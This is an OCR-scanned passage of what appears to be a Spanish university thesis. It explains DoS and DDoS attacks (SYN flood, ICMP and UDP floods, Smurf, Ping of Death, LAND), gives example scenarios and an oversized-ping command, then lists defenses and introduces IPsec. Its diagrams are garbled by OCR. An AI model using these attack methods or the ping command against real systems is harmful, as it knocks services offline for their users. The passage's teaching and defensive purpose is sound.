al enviar data no esperado sobre la red. Un ejemplo de este ataque es el conocido
como ataque "Ping DoS" o ataque "Smurf", llamado asi por su programa de ataque.
Un atacante envia un gran namero de trafico ICMP echo (ping) a direcciones IP de
broadcast, todas conteniendo una direccion tomada de la victima. Si el elemento de
ruteo que transporta el trafico realiza el broadcast IP, mas hosts en dicha red IP
tomaran el ICMP echo request y lo responderan con su respectivo echo replay,
multiplicando el trafico por el nimero de hosts que respondan.

= Alteracion de informacion de configuracién: Una computadora mal configurada
puede no desempefiarse bien o no operar del todo, un intruso que logra obtener las
credenciales root o administrador puede alterar o destruir la informacion de
configuracion que imposibilita el uso de una computadora o de la red de datos.

= Alteracion de informacién de estado: Tales como interrupcion de sesiones TCP
(TCP reset).

= Interrupcién de componentes fisicos de red: La seguridad fisica es un
componente primario del Aseguramiento de la Informacion que esta relacionada con
la prevencion de diversos ataques entre los que se incluyen ataques DoS. Las
organizaciones deberan prevenir el acceso no autorizado a computadoras, router,
gabinetes, racks de comunicaciones, segmentos, unidades de poder.

» Obstruccién de medios de comunicacion: Entre usuarios de un servicio y la

victima, de manera que ya no puedan comunicarse adecuadamente.
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Algunos puntos las cuales hacen factible que se produzcan estos tipos de ataques son:

= Posibilidad: Es probable que exista en estos momento cientos de miles o millones
de sistemas informéticos conectado a la red y configurados con un bajo nivel de
seguridad.

» Calidad de software: Cada dia el software es mas complejo, los tiempos de
desarrollo son menores, los programadores poseen menos experiencias y no se
dedican suficiente esfuerzo en controles de calidad.

= Prestaciones Vs Seguridad: Hasta la fecha los usuarios optan por las prestaciones
del producto sacrificando o no reclamando niveles de seguridad. Se entiende que la
seguridad es una complicacion afiadida y que no necesariamente debe formar parte
de la solucion adoptada, de igual manera se disefian redes pensando en la velocidad
y funcionalidad pero no en la seguridad.

= Personal no calificado: La capacidad de formacion de administradores de sistemas
se ha visto desbordada por la demanda, paralela al crecimiento observado en
internet, contratando como administradores de sistemas a personas no calificadas y
sin experiencia.

= Defensa legal: El propio internet facilita que se internacionalice el problema de los
ataques resultando en ocasiones imposible compatibilizar leyes y disposiciones de
distintos paises lo que en definitiva juega a favor de los atacantes al existir de hecho

una indefension legal.

Flood Ataque.

En este tipo de ataque, la red del sistema de victimas se inunda con un gran nimero de
paquetes por el atacante, para agotar el ancho de banda de red y caida del sistema.
Debido a la saturacién del ancho de banda de red de sistema de la victima, los usuarios

legitimos del sistema se impiden el acceso al sistema.

6.6.5 INUNDACION SYN FLOOD.

Cuando una maquina se comunica mediante TCP/IP con otra envia una serie de datos

junto a la peticion real. Estos datos forman la cabecera de la solicitud, dentro de la
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cabecera se encuentran unas sefalizaciones llamadas Flags (banderas). Estas
sefializaciones permiten iniciar una conexion, cerrarla, indicar que una solicitud es
urgente, reiniciar una conexion, etc. Las banderas se incluyen tanto en la solicitud
(cliente), como en la respuesta (servidor). En un intercambio estdndar TCP/IP se realiza
lo siguiente manera: Primeramente establecer conexion: El cliente envia una Flag SYN, si
el servidor acepta la conexion, éste deberia responderle con un SYN/ACK luego el cliente

deberia responder con una Flag ACK.

1-Cliente -------- SYN----- > 2 Servidor
‘ 4-Cliente <----- SYN/ACK---- 3 Servidor
SN 5-Cliente -------- ACK-----> 6 Servidor

llustracion 11: Escenario normal de conexiones.

Resetear Conexién: Al haber algin error o pérdida de paquetes de envio se establece
envio de Flags RST:

1-Cliente ------- Reset-----> 2-servidor
4-Cliente <----Reset/ACK---- 3-Servidor
' ‘ - 5-Cliente -------- ACK------ > 6-Servidor

<

-
-

llustracion 12: Escenario con conexiones bajo ataque.

La inundacion SYN envia un flujo de paquetes TCP/SYN (varias peticiones con Flags
SYN en la cabecera), muchas veces con la direccién de origen falsificada. Cada uno de
los paquetes recibidos es tratado por el destino como una peticién de conexidon, causando
que el servidor intente establecer una conexion al responder con un paquete TCP/SYN-
ACK vy esperando el paquete de respuesta TCP/ACK (Parte del proceso de
establecimiento de conexion de 3 vias). Sin embargo debido a que la direccion de origen
es falsa o la direccion IP real no ha solicitado la conexion, nunca llega la respuesta. Estos
intentos de conexién consumen recursos en el servidor y topan el nimero de conexiones
que se pueden establecer, reduciendo la disponibilidad del servidor para responder

peticiones legitimas de conexion.
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La mayoria de los servidores tienen un tiempo limite muy corto para las conexiones semi
abierta, venciendo el plazo se descarta un pedido de conexion para dar lugar a las demas,
sin embargo como la cantidad de paquetes SYN y la inundacion SYN se mantiene activa
el servidor victima sufre una caida o un reinicio del sistema. Una variacion de este Flood
es que el paquete TCP/SYN tenga como direccion IP origen la misma que la del servidor

victima, logrando de esta manera que el servidor se responda a si mismo y falle.
Ejemplo de atague Syn Flood.

Este escenario demuestra como la maquina atacante con la IP 2.2.2.5 comienza a enviar
grandes cantidad segmentos SYN en paqguetes IP con direcciones de origen simuladas o
inalcanzables y la maquina victima responde enviando segmentos SYN/ACK a las
direcciones IP simuladas de origen quedando a la espera de respuesta hasta que los

intentos sobrepasan el tiempo de espera y el buffer de la memoria de la maquina victima

IP real,
22.25

Direcciones IP
inexistentes o
inalcanzables
3.3.3.5 E [ svn |
rﬂ
? SYN/ACK i =
4.4.4.20
(=
? SYN/ACK
5.5.5.10 1
.Q;. [ SYN El bisfer de memoria
1 de la victima
? - SYN/ACK empieza a llenarse.
6663 ‘; —
SYN -
? SYNIACK

llustracion 13: Demostracién de un ataque Syn Flood.

6.6.6 INUNDACION ICMP FLOOD.

Los ataques ICMP (Protocolo de mensajes de control de Internet) aprovechan una
vulnerabilidad del dicho protocolo, dicho es utilizado por la capa IP del modelo de red,
para enviar mensajes unidireccionales hacia un servidor. Dado que en ICMP no existe
autenticacion, los ataques que utilizan ese protocolo pueden generar una denegacion de
servicio 0 permitir que el atacante intercepte paquetes en transito. Es una técnica DoS

gue pretende agotar el ancho de banda de la victima, las inundaciones de ICMP
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normalmente se producen cuando las peticiones de eco ICMP sobrecargan a la victima

con tantas peticiones que esta consumen todos sus recursos valido.

Es decir que consiste en enviar de forma continuada un nimero elevado de paquetes
ICMP Echo request (ping) de tamafio considerable a la victima, de forma que esta ha de
responder con paquetes ICMP Echo reply lo que supone una sobrecarga tanto en la red
como en el sistema de la victima. Dependiendo de la relacion entre la capacidad de
procesamiento de la victima y el atacante, el grado de sobrecarga varia es decir si un
atacante tiene una capacidad mucho mayor la victima no puede manejar el tréfico

generado.

Otro de los ataques son los que atentan contra el ancho de banda, un intruso puede
consumir todo el ancho de banda disponible en una red, generando un gran numero de
paquetes para que corran sobre la misma red. Este ataque se conoce como un ataque
ICMP o “PING Flood”. El intruso envia un flujo constante de paquetes PING al sistema. En
la mayoria de casos, la inundacion de la red con estos paquetes puede acabar
consumiendo sus recursos y gran cantidad de ancho de banda.

Ejemplo de Ataque ICMP Flood.

Este escenario un atacante envia peticiones de ECHO ICMP con direcciones falsas,
dichas peticiones de echo ICMP sobrecargan a la victima ya que llega a consumir todos

sus recursos en responder, hasta que le resulta imposible procesar el trafico de red valido.

[_|

[ =

—I@ Protected LA
—— TTTIT
@ P Il Echo Reply |—

L [Echo Request | -
r—— ? [ Echomeply |——
SEEEESSE

[ Echo Request |

7 - [ Echormeply | ——

—_—
B0 .

llustracion 14: Demostracién de Ataque ICMP Flood.
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Por ejemplo: La méquina atacante envia un paquete Echo ICMP con origen 200.1.1.1 (Ip
Spoofing victima) y destino tipo broadcast 171.255.255.255 con el objetivos que todas las
maquinas correspondiente a dicha red respondan un ICMP ECHO a la maquina real con
direccion 200.1.1.1 provocando una sobrecarga de peticiones ICMP.

“ Attacker

ICMP ECHO Replies

ICMP ECHO
SRC=200.1.1.1
OST=171.1.255.255 [

S

|
|
-l B2 (0} O3 & O B )

llustracion 15: Demostracion de un ataque ICMP Flood

171.1.0.016

6.6.7 SMURF.

El atague Smurf es un ataque de denegacion de servicio que utiliza mensajes de ping al
broadcast con Spoofing para inundar un objetivo. En este tipo de ataque, el perpetrador
envia grandes cantidades de trafico ICMP (ping) a la direccion de broadcast, todos ellos
teniendo la direccién de origen cambiada (Spoofing) a la direcciéon de la victima. Si el
dispositivo de ruteo envia el trafico a esas direcciones de broadcast lo hace en capa 2
donde esta la funcion de broadcast y la mayoria de los host tomaran los mensajes ICMP
de echo request y lo responderan multiplicando el trafico por cada host de la subred. En
las redes que ofrecen multiples accesos a broadcast, potencialmente miles de maquinas
responderan a cada paquete y Todas esas respuestas vuelven a la IP de origen (la IP de

la victima atacada).

Los dos componentes principales del ataque Smurf son el uso de paquetes falsificados y
el uso de una direccién de difusion, en el ataque Smurf, los atacantes estan forjando o
suplantando la direccion de origen en solicitudes de eco ICMP y los envian a una
direccion de difusion IP. Esto hace que cada méaquina de la red de difusion reciba la

respuesta y respondan de nuevo a la direccion de origen que fue forjada por el atacante,

Unan-Ledén Pagina 74




Marco Teorico.

con este tipo de ataque, hay tres partes implicadas: el atacante, el intermediario y la
victima. En este tipo de ataque, el intermediario también puede ser una victima ya que
cuando todos los equipos del intermediario comienza responder a la direccion falsificada,
por lo que puede generar muchos paquetes que utiliza todo el ancho de banda de la red.

El problema de la direccion broadcast es que suelen estar disponibles también para
usuarios de fuera de la red local en particular para todo internet, por ejemplo un atacante
puede enviar un pequefio datagrama a toda una red remota y que las maquinas de dicha
red respondan todas a la vez, posiblemente con un datagrama de mayor tamafio y si la
red sondeada tiene 150 maquinas activas la respuesta es 150 veces mas intensa, es decir
se consigue un efecto multiplicador. Tanto la victima como el intermediario de este ataque
pueden sufrir una degradacién de los servicios de red, tanto en sus redes interiores como

en sus conexiones a internet hasta el punto de no poder utilizarlos.
Ejemplo de Ataque Smurf.

Este escenario demuestra un tipico ataque Smurf, la red correspondiente a este escenario
es la direccion 10.1.1.0/24 y broadcast 10.1.1.255, la maquina atacante utiliza la direccién
10.1.1.10 y envia un paquete tipo difusibn con la direccion de origen 10.1.1.254
correspondiente a la maquina victima, de tal manera que todas las maquinas conectada a
dicha red responderan pero a la maquina victima cuya direccion es la 10.1.1.254

provocando de esta manera que todas las maquinas sobrecarguen a la maquina victima.

Pin fram 10.1.1.254
Peng (IP src = 10.1.1.11)
Ping from 10.1.1.254 Ping from 10.1.1.254 Pong (IP sre = 10.1.1.13)

Pan (IP sre = 1°.1.1.254)

-
. :‘, VICTIMA
10.1.1.13
Red Ethernet 802.3
riemel -
i
10.1.1.1/24
DHCP enabls
Router ADSL

Ping 10.1.1.2
(P src = 10.1.1

llustracion 16: Demostracion de un Ataque Smurf.
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Es decir que una red LAN la maquina atacante utiliza la direccion IP de la maquina victima
(Ip Spoofing) y envia un paquete especial tipo difusion en el cual todas las maquinas que
pertenezcan a dicha LAN responderdn a la maquina real (por ejemplo 192.168.0.5)

sobrecargando de esta manera su buffer de procesamiento de la maquina victima.

LAN

difusion: I ping dhesde
191‘_1EL{I.155| TI2ACEME
o b sie
i8R AEE. b
19206802
LLER TS N

g
desile
192 168.0.5

pime

P il sl

dlende
192 168.0.5 18216885

| | I l iy Talsa: |
19216885
= b == S == N = ===
e T rE e P T T e e

192.168.0.1 19216802 T92.168.0.3 192.160.0.4 192.168.0.5

llustracion 17: Demostracion de un Ataque Smurf.

6.6.8 INUNDACION UDP FLOOD.

Un ataque de inundacion UDP es un ataque de denegacion de servicio (DoS) mediante
el Protocolo de datagramas de usuario (UDP), un ataque UDP Flood es posible cuando un
atacante envia paquetes UDP a un puerto randomico de un equipo victima, cuando este
recibe un paquete UDP determina la aplicacion que esta esperando en el puerto destino,
si no existe ninguna aplicacion esperando en el puerto mencionado entonces genera un
paquetes ICMP de destino inalcanzable al origen, logrando de esta manera él envio
excesivo de paquetes UDP, produciéndose la caida del sistema. Es decir que para un
gran numero de paquetes UDP, el sistema victima se vera obligada a enviar muchos
paquetes ICMP, llevando eventualmente a ser inalcanzable por otros clientes. Debido a la
naturaleza sin conexion del protocolo UDP, este tipo de ataques suele venir acompafiado

de IP Spoofing.

Ejemplo de Ataque UDP FLOOD.

Este escenario de forma parecida a una inundacién ICMP, la maquina atacante envia
paquetes IP que contienen datagramas UDP con el proposito de ralentizar a la victima
gue le resulta imposible procesar las conexiones validas. Es decir la maquina atacante

con la ayuda de IP Spoofing comienza a enviar paquetes UDP que apuntan a un servidor
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DNS con direccién 1.2.2.5 puerto 53 y cuando el servidor agote sus recursos no podra

procesar nuevas peticiones.
||
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llustracion 19: Demostracion de Ataque UDP Flood.

6.6.9 PING OF DEATH / PING DE LA MUERTE.

El tamafio maximo del paquete IP admisibles es de 65,535 bytes, incluyendo el
encabezado del paguete que normalmente tiene una longitud de 20 bytes, una solicitud
de eco ICMP es un paquete con un encabezado falso de 8 bytes de longitud, por lo tanto
el tamafio maximo admisibles de area de datos de una solicitud de eco ICMP es de 65
507 bytes (65535-20-8= 65507). Sin embargo muchas implementaciones del comando
ping permiten al usuario especificar un tamafio del paquete superior a 65,507 bytes, un
paquetes ICMP sobredimensionado puede desencadenar una variedad de reacciones

adversas por parte del sistema como la denegacién de servicio, caida, bloques y reinicios.

Un ping de la muerte es basado en overflow, es un tipo de ataque enviado a una
computadora que consiste en mandar numerosos paquetes ICMP muy grande con el fin
de colapsar el sistema atacado. Un ping normalmente tiene un tamafio de 64 bytes,
algunos sistemas operativos no podian manejar pings mayores al maximo de un paquete
IP comudn, que es de 65.535 bytes, enviando pings de este tamafio era posible hacer que
esas computadoras dejaran de funcionar. Asi cuando la computadora que es el blanco de

ataque vuelve a montar el paquete, puede ocurrir una saturacién del buffer, lo que a
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menudo produce como consecuencia un fallo del sistema, este ataque ha afectado a la
mayoria de Sistemas Operativos, como Unix, Linux, Mac, Windows, a impresoras, y a los
routers, pero se hizo muy popular en Windows 95 como en Windows NT ya que permitian
construir pings ilegales con las implementacién de ping integrada: ping —s 65510 IP

victima.

Por ejemplo: si construimos un mensaje ICMP de tipo echo-request de 65510 bytes
mediante el comando ping —s 65510, los datos ICMP podran ser enviados en un Unico
paquete fragmentado en N trozos segun la MTU de la red, pero pertenecientes al mismo
datagrama IP. Si hacemos la suma de los distintos campos del datagrama se observara
que los 20 bytes de cabecera IP mas los 8 bytes de cabecera ICMP junto con los datos
ICMP 65510 bytes ocuparan 65538 hytes, consiguiendo de esta manera que el ataque
provoque un desbordamiento de 3 bytes, este hecho provocara que al reconstruir el
paquete original en el destino, se produciran errores y en casi que exista deficiencia en la
implementacion de la pila TCP/IP del sistema podrian causar la degradacion total del

sistema atacado.
Ejemplo de Ataque PING OF DEATH.

En este escenario se puede observar un ataque sencillo como el Ping de la Muerte. La
diferencia de la solicitud de eco de las normales es el gran tamafio de paquete IP que
contiene, debido a que el tamafio maximo de un paquete IP es de 65.535 bytes. Una
solicitud de eco ICMP con mas de 65.507 (65,535-20-8) bytes de datos puede hacer que

un sistema remoto se bloquee mientras ensambla los fragmentos de paquetes.

P | ICMP
Header | Header ICMP Data

Q 20 bytes 8 bytes >65,507 bytes

Original packet before fragmentation

llustracion 20: Tamafo de una cabecera IP.

Por ejemplo se puede observar como una maquina envia ping a servidor www.cisco.com

y este responde con su direccidn correspondiente 198.133.219.25, de una manera como

si fuese un ciclo infinito.
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llustracion 21: Escenario demostrando un ciclo infinito de ataque ping of death.

6.6.10 LAND.

Otra manera de colgar una maquina y aprovechar esta situacion es realizar un atague
LAND, estos ataque tienen la caracteristica que el atacante camufla sus datos como los
del atacado, es decir tanto la IPs como el puerto del atacante van a parecer que son los
mismo que los de la maquina atacada. El primer LAND fue realizado en 1997, este un
ataque de red que se efectla a través de una usurpacion de direccion IP que aprovecha
la vulnerabilidad de ciertas implementaciones del protocolo TCP/IP en los sistemas. El
nombre de este ataque proviene de la denominacion dada al primer codigo fuente
distribuida que hizo posible llevar a cabo este ataque land.c.

Es un ataque de denegacion de servicio en el que un programa envia un paquete TCP
SYN donde el objetivo y la direccion de origen son la misma y los nimeros de puerto
también son los mismos. Es importante sefialar que el nimero de puerto de destino
también indica qué protocolo se esta utilizando, en circunstancias normales, la fuente y

direccién de destino y nimero de puerto de origen y destino son diferentes.

El paquete tiene la direccion de origen y nimero de puerto falseado y estableciendo que
la direccion de origen y nimero de puerto sean los mismos que la direccion y el nimero
de puerto destino, por eso la maquina de destino, se bloquea porgue no saben cémo
manejar la situacion. El ataque es bastante simple, ya que cualquier paquete que tenga

las siguientes propiedades es un ataque por land:

= Origen y destino tiene el mismo valor.

= Origen y destino tienen los mismos nameros de puerto.
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El siguiente resultado TCP dump es un ejemplo de la ejecucion dos ataques land
diferentes:

03/12/97 02:19:48 192.168.1.1 80 ->192.168.1.1 80
03/12/97 02:21:53 192.168.1.13 1337->192.168.1.1 31337

En algunos sistemas puede llegar a colgarlos o apagarlos y en otros subir el consumo de
la CPU durante un tiempo y manteniendo un conjunto constante de SYN logrando asi el
atague de denegacién de servicio. Este ataque afecta fuertemente a maquinas con

Windows NT ya que es sensible a un conjunto de paquetes SYN.

Por ejemplo un objetivo de un ataque podria ser sobre cualquier puerto en donde el
atacante usa como objetivo el puerto 113 y el puerto 139. El puerto 113 es el puerto de
auth que suele ser utilizado en maquinas UNIX por el demonio identd, es el puerto para la
identificacion de usuario y se puede obtener informacién de los usuarios de la maquina a
través de dicho puerto y el puerto 139 es un puerto de NetBIOS usado para el servicio de
sesiones, este puerto suele ser objetivo de muchos atacantes en maquinas que operan
bajo Windows ya que este sistema operativo utiliza este puerto para compartir archivos y
de impresoras en la red haciendo de este un objetivo vulnerables que los atacantes

suelen intentar explotar.
Ejemplo de atague LAND.

Este escenario demuestra como una maquina atacante cuando genera el paquete a
enviar hacia el servidor india que la direccion origen es la 1.2.2.5 y la direccion destino a
la cual se supone que debe de responder es también la 1.2.2.5, por lo cual el servidor
victima con un lapso de tiempo no sabe cémo manejar la situacion y comienza a consumir

sus recursos impidiendo realizar sus operaciones normales.
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llustracion 22: Escenario bajo ataque de DDoS LAND.

6.6.11 DEFENSA CONTRA ATAQUE DDoS.

= DDoS Defender de Akamai: Proporciona un acercamiento enfocado a la defensa
contra los ataques DDoS, es un servicio gestionado por akamai que combina
capacidades de seguridad multicapa y servicio de asistencia DDoS de primera
clase, también emplea un amplio conjunto de capacidades de productos de
seguridad de akamai para proteger contra una amplia seleccion de ataques DDoS.

= Seguridad en las nubes CLOUD FLARE: El servicio de Cloud Flare funciona
filtrando el trafico de sus clientes a través de sus servidores, que se encargan de
bloquear las peticiones de acceso que identifican como ilegitimas.

= Kona Site Defender: Mitiga los ataques DDoS absorbiendo el trafico DDoS
dirigido a la capa de la aplicacién y desviando todo el trafico DDoS dirigido a la
capa de red como SYN Floods o UDP Floods, permite autenticacién del trafico
valido en el borde de la red. Esta proteccion integrada y siempre activa solo
permite el trafico de los Puertos 80 (HTTP) o 443 (HTTPS). Las tarifas altas se
pueden limitar para que los usuarios estén protegidos de las tarifas de servicio
acumuladas del trafico DDoS y el almacenamiento en caché flexible maximiza la
descarga desde el origen.

= SYN Cookies: Provee un mecanismo de proteccion contra Inundacion SYN,
eliminando la reserva de recursos en el host destino, para una conexién en

momento de su gestion inicial.
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= Firewalls: Serviria para analizar en profundidad tanto el trafico de entrada como el
de salida, incluyendo visibilidad en las aplicaciones, monitorizar y alertar en caso
de disefios sospechosos asegurando que el firewall remedie los ataques DDoS
bloqueando, filtrando o re direccionando el tréfico basado en disefios, volumenes o
caracteristicas identificadas.

= Software Analizador: La implementacion de un software que analice el flujo de
trafico que pueda examinar el uso de datos por aplicacion o usuarios, mirar los
datos sobre diferentes periodos de tiempo y los datos del trafico correlativo desde
multiples fuentes como NetFlow e IPFIX.

= Bloquear Paquetes: Los paquetes que se originan en su interior de la red nunca
entraran en la interfaz externa del router, por lo tanto el router puede bloquear
todos los paguetes entrantes que tengan una direccion de origen que no coincide
con una direccion en su red interna.

= Auditoria: Para detectar si un atacante ha utilizado el exploit Hog CPU, la
seguridad de auditoria debe ser aleatoria, los sucesos que deben ser auditados
son con cambios en la politica de seguridad y seguimiento de procesos pueden
ver con el Visor de sucesos de NT.

= Parches: Aplicarlos ultimos parches de Microsoft pero hay que tener mucho
cuidado, ya que si no se aplica el Service pack apropiado antes de aplicar el nuevo
parche, podria bloquear el equipo. Por lo tanto, antes de aplicar este parche, hay
qgue localizar y aplicar el Service Pack mas reciente, otra forma de protegerse
contra Hog CPU es establecer la prioridad de la Tarea 16. Debido a que el
administrador de tareas también se esta ejecutando con una prioridad de 16, si
alguien lanza este ataque, aun puede recuperar el control de la maquina y detener
la aplicacion.

= Mod_security: Implementar mod_security en el servidor web o como un proxy
inverso para bloquear las peticiones directas al servidor web, Mod_security es
capaz de eludir algunos ataques comunes de aplicacion y habilita un mejor andlisis
de ataques después de que hayan ocurrido.

= Proxy: Una cache agresiva es una buena defensa contra pequefios ataques de
HTTP GET y también ofrece proteccion contra ataques especificos de apache,

como slowloris, también hacer uso de plugins de cache especificos de sistemas
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CMS para reducir la carga del servidor en periodos de un gran trafico legitimo y
durante ataques.

= Recolectar Registro: Implementar una estrategia de recoleccion de logs para
permitir un analisis post-ataque.

= |Imperva Cloud DDoS: Combina mdultiples defensas para mitigar los atagues
DDoS proporciona defensas para detectar ataques de red como TCP SYN vy las
inundaciones, detecta sofisticado ataques a la capa de aplicaciones que omiten
servicios tradicionales.

= Limitar broadcast: No permitir el trafico broadcast desde afuera de la red,
evitando de esta manera ser multiplicadores durante un ataque Smurf.

= Proxy cerrados: No tener proxies abiertos a todo internet, algunos
administradores tienen sus proxies wingates, Sockets, Squid abiertos a todo el
mundo sin ser conscientes de ellos. Esto permite que cualquier usuario de internet
pueda atacar cualquier sistema responsabilizando a esa red intermedia mal
administrada.

= El National Infrastructure Protection Center (NIPS): Los Estados Unidos de
Norteamérica, ha puesto a disposicion publica la herramienta find_ddos. Esta
herramienta busca a través de todo el sistema ficheros con presencia de Trino,
TNF, TNF2K y Stacheldraht.

= Dave Dittrich y otros han desarrollado la herramienta GAG: Permite detectar la
presencia de agentes de Stacheldraht. Otra herramienta desarrolla por los mismos
especialistas se llama DDS, que al igual que find_ddos permite la deteccién de
agentes de Trino, TFN y Stacheldraht.

= Un grupo internacional que trata temas de seguridad en redes (RAZOR): Ha
puesto a disposicién publica la aplicacion Zombis Zapper, el cual funciona para
todas las herramientas y versiones de DDoS conocidas. Esta herramienta en
particular aunque no puede evitar el ataque permite pararlo.

= SYN Proxy: Es un mecanismo (appliance) que se coloca antes del servidor real y
espera las respuestas. Hasta que al IP falsa o IPs no falsa responde con un ACK,

las solicitudes de conexién no son reenviadas.
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6.6.12 PROTECCION CON AYUDA DE DISPOSITIVOS CISCO.

Cisco es el lider mundial en soluciones de redes que transforma el modo en que las
personas se conectan, se comunican y colaboran, ayudando de gran manera con

diferentes técnicas y dispositivos mitigar, detener y solucionar ataques DDoS.
CISCO DDOS PROTECCION.

Cisco DDoS proteccidon proporciona las capacidades de los tubos limpios que ayudan a
los proveedores de servicios de ofrecer proteccion DDoS a los clientes, y al mismo
tiempo, protege su propio servidor. De acuerdo con la Cisco System, las capacidades de
tubos limpios se definen como un sistema validado, asi como una soluciéon adecuada con
arquitectura que protege una red de amenazas. Esta solucién Cisco es capaz de
distinguir el buen tréfico con precisién y descartar el malo que esta destinado a un uso

especifico. Se detecta cualquier presencia de un ataque DDoS v filtra el trafico.

FUNCION CISCO DDOS PROTECCION.

Cisco tiene 3 funciones principales, que mantiene una red a salvo de los ataques DDoS.

= Deteccion: Es la funcién principal, localiza y detecta las anomalias en el tréafico.
También detecta y mira a cualquier diferencia en los patrones de trafico superior a un
limite determinado.

= Mitigacion: Es un procedimiento por el que el ataque es borrado, esto ayuda en el
control de reconocimiento anomalia, anti-Spoofing y la inspeccién de paquetes.

= Desvio por el trafico: Este mecanismo envian instrucciones al presente enrutador de
en la red de nudcleo para enviar todo el trafico sospechoso a la Guardia XT. Después
de que los paquetes andmalos son depurados de la inyeccion de trafico se lleva a

cabo insertar limpio el trafico en la red.

EL MVP DE CISCO SYSTEMS ARCHITECTURE.

Cisco Guard XT DDoS se basa en un proceso unico, multiverificacion de la arquitectura

gue integra una variedad de técnicas de verificacion, analisis y aplicacion para identificar y
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separar el trafico malicioso del trafico legitimo, este proceso de purificacion consta de

cinco médulos o etapas:

Filtrado: Este médulo incluye filtros DDoS tanto estaticas como dinamicas, los filtros
estaticos bloquean el trafico esencial para alcanzar a la victima bajo ataque, son
configurables por el usuario y proceden de Cisco con los valores por defecto
preestablecidos. Los filtros dinAmicos son insertados por los otros mdédulos basados
en el comportamiento observado y el andlisis detallado de los flujos de tréfico, la
entrega de actualizaciones en tiempo real o bien aumentar el nivel de verificacion
aplicado a los flujos de sospechosas o de fuentes y flujos de bloques que se han
verificado como malicioso.

Verificacién: Este mddulo activo verifica que los paquetes gque ingresan al sistema
no han sido falseadas. El Cisco Guard XT utiliza numerosas técnicas de autenticacion
de cddigo, mecanismos para detener paquetes falsificados que lleguen a la victima.
El médulo de verificacion también cuenta con varios mecanismos para ayudar a
asegurar la correcta identificacion de tréfico legitimo, eliminando virtualmente el
riesgo de paquetes validos de ser desechados.

Reconocimiento: este modulo supervisa todo el trafico que no fue detenido por el
filtro o los médulos de verificacién y lo compara con el comportamiento de linea de
base registrada, en busca de desviaciones que identifican la fuente de paquetes
maliciosos. El principio basico detras de la operacion de este médulo es que el patron
de trafico que se origina a partir de un demonio que reside en una fuente difiere
drasticamente del patrén generado por fuentes legitimas durante el funcionamiento
normal. Este principio se utiliza para identificar la fuente de ataque y el tipo, asi como
para proporcionar directrices para bloquear el trafico o realizar analisis mas detallado
de los datos sospechosos.

Andlisis: Andlisis de los procesos de los protocolos que fluye del médulo de
reconocimiento, identifica anomalia sospechosa con el fin de identificar los ataques
especificos de la aplicacion, tales como ataques de error HTTP, detecta las
operaciones de protocolo con mal comportamiento, incluyendo las transacciones

incompletas o errores.
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= Limitacién de velocidad: Este modulo proporciona otra opcién de la aplicacién y
evita que los flujos de mal comportamiento de abrumen al objetivo, mientras que un
seguimiento mas detallado que esta ocurriendo. EI médulo realiza por flujo de trafico,
penalizando las fuentes que consumen demasiados recursos (por ejemplo, ancho de

banda o conexiones) para un periodo demasiado largo.

6.7 IPSEC.

La utilizacién de Internet es cada vez mas amplia y usuarios mas diversos, ha provocado
la necesidad de proteger todo tipo de informacién que viaja por la red, hoy en dia existen
diversas propuestas y alternativas para garantizar la seguridad y autentificacion de todos
los paquetes que vayan por la red, otras soluciones se basan en soluciones propietarias
que dificultan la comunicacion entre los distintos entornos empresariales, al ser necesario
gue éstos dispusiesen de una misma plataforma y la falta de interoperabilidad ha sido el
principal freno para el establecimiento de comunicaciones seguras, dado que no se ve
factible la migracion a una determinada plataforma en funcion de una colaboracién

empresarial puntual.

IPsec se destaca en que esta apoyado en estandares del IETF y que proporciona un nivel
de seguridad comin y homogéneo para todas las aplicaciones, ademas de ser
independiente de la tecnologia fisica empleada, también IPsec se integra en la version

actual de IP (IP versién 4) y lo que es todavia mas importante, se incluye a IPv6.

IPsec es un estandar que proporciona servicios de seguridad a la capa IP y a todos los
protocolos superiores basados en IP, su mayor objetivo es proporcionar servicios de
seguridad en la capa IP mediante un sistema para seleccionar los protocolos de
seguridad requeridos, determinar los algoritmos usados para los servicios, determinar
unas claves criptograficas necesarias para proporcionar los servicios pedidos. Es también
utilizado para proteger los caminos entre dos hosts, entre dos pasarelas o entre pasarela
segura y el host. El conjunto de servicios de seguridad que puede proporcionar IPsec
incluye control de acceso, integridad, autentificacién del origen, reenvio de paquetes,

confidencialidad (encriptacién) y confidencialidad de flujo de trafico limitado.
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6.7.1 ARQUITECTURA DE SEGURIDAD Y BENEFICIOS.

Este mecanismo estd implementado por un conjunto de protocolos criptograficos para
asegurar el flujo de paquetes, garantizar la autenticaciébn mutua y establecer pardmetros
criptograficos utilizando el concepto de asociacion de seguridad (SA) como base para
construir funciones de seguridad en IP. Una asociacion de seguridad es simplemente el
paquete de algoritmos y parametros que se esta usando para cifrar y autenticar un flujo
particular en una direccion, es decir que los flujos son asegurados por un par de

asociaciones de seguridad.

Para establecer qué proteccion se va a proporcionar a un paquete saliente, IPsec utiliza el
indice de parametro de seguridad (SPI), un indice a la base de datos de asociaciones de
seguridad (SADB), junto con la direccion de destino de la cabecera del paquete, que
juntos identifican de forma Unica una asociacion de seguridad para dicho paquete y para
un paquete entrante se realiza un procedimiento similar; en este caso IPsec toma las

claves de verificacién y descifrado de la base de datos de asociaciones de seguridad.

Entre los beneficios que aporta IPsec se encuentran:

= Posibilita nuevas aplicaciones como el acceso seguro y transparente de un nodo IP
remoto.

= Facilita el comercio electrénico de negocio a negocio, al proporcionar una
infraestructura segura sobre la que realizar transacciones usando cualquier
aplicacion.

» Permite construir una red corporativa segura sobre redes publicas, eliminando la
gestién y el coste de lineas dedicadas.

= Ofrece al administrador el mismo nivel de confidencialidad que dispondria en la red
local de su empresa, no siendo necesaria la limitacion de acceso a la informacién
sensible por problemas de privacidad en transito.

= Control de acceso ya que previene el uso no autorizado de recursos.

* Integridad sin conexién, porque permite la deteccibn de modificaciones en un
datagrama.

» Proteccién anti-replay, una forma de integridad parcial de la secuencia, detecta la

llegada de datagramas IP duplicados.
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» Confidencialidad a través de la encriptacion.

» Confidencialidad limitada del flujo de trafico por que el uso del modo tanel permite
encriptar las cabeceras IP internas, ocultando las identidades del origen del tréfico y
del destino. También, se puede usar el "relleno en la carga util" (payload padding) de
ESP para ocultar el tamafio de los paquetes, consiguiendo ocultar las caracteristicas
externas del trafico.

Estos objetivos se llevan a cabo haciendo uso de dos protocolos de seguridad, la
cabecera de Autentificacion (AH) y la carga de seguridad encapsulada (ESP), a través de
procedimientos de manejo de claves criptograficas y protocolos. El conjunto de protocolos
IPsec empleados en cualquier conexiébn y la forma en que se emplean, seran
determinados por la seguridad, y los requerimientos del sistema del usuario, aplicaciones

y organizaciones.

IPsec permite al usuario (o administrador) controlar el tipo de seguridad ofrecido, es decir
